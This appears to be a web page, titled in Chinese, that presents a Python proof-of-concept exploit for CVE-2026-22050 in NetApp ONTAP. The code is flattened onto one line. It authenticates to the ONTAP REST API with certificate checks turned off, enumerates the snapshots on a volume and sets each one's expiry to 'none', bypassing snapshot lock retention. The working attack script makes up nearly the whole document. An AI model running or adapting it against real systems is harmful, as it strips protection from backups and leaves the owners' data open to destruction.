NetApp ONTAP 快照锁定配置漏洞 (CVE-2026-22050)

# CVE-2026-22050 PoC - NetApp ONTAP Snapshot Lock Bypass # This PoC demonstrates how a privileged remote attacker can set snapshot expiry to none import requests import json # Target ONTAP system configuration ONTAP_HOST = "target-ontap.example.com" ONTAP_USER = "attacker_user" ONTAP_PASS = "password" def exploit_snapshot_lock_bypass(): """ Exploit for CVE-2026-22050: ONTAP Snapshot Lock Configuration Vulnerability Allows privileged remote attacker to set snapshot expiry time to none """ # Step 1: Authenticate to ONTAP auth_url = f"https://{ONTAP_HOST}/api/auth/login" auth_data = { "username": ONTAP_USER, "password": ONTAP_PASS } session = requests.Session() resp = session.post(auth_url, json=auth_data, verify=False) if resp.status_code != 201: print(f"[-] Authentication failed: {resp.status_code}") return False print("[+] Authentication successful") # Step 2: List available snapshots volume_name = "vol1" # Target volume svm_name = "vs1" # Storage VM name list_url = f"https://{ONTAP_HOST}/api/storage/volumes/{volume_name}/snapshots" resp = session.get(list_url) if resp.status_code != 200: print(f"[-] Failed to list snapshots: {resp.status_code}") return False snapshots = resp.json().get('records', []) print(f"[+] Found {len(snapshots)} snapshots") # Step 3: Modify snapshot expiry time to 'none' (Exploit) for snapshot in snapshots: snap_uuid = snapshot.get('uuid') snap_name = snapshot.get('name') modify_url = f"https://{ONTAP_HOST}/api/storage/volumes/{volume_name}/snapshots/{snap_uuid}" # VULNERABLE: Setting expiry time to 'none' bypasses snapshot lock policy modify_data = { "expiry_time": "none" # This is the vulnerability } resp = session.patch(modify_url, json=modify_data) if resp.status_code in [200, 202]: print(f"[+] Successfully modified snapshot '{snap_name}' expiry to 'none'") else: print(f"[-] Failed to modify snapshot '{snap_name}': {resp.status_code}") return True if __name__ == "__main__": print("=" * 60) print("CVE-2026-22050 - NetApp ONTAP Snapshot Lock Bypass PoC") print("=" * 60) exploit_snapshot_lock_bypass()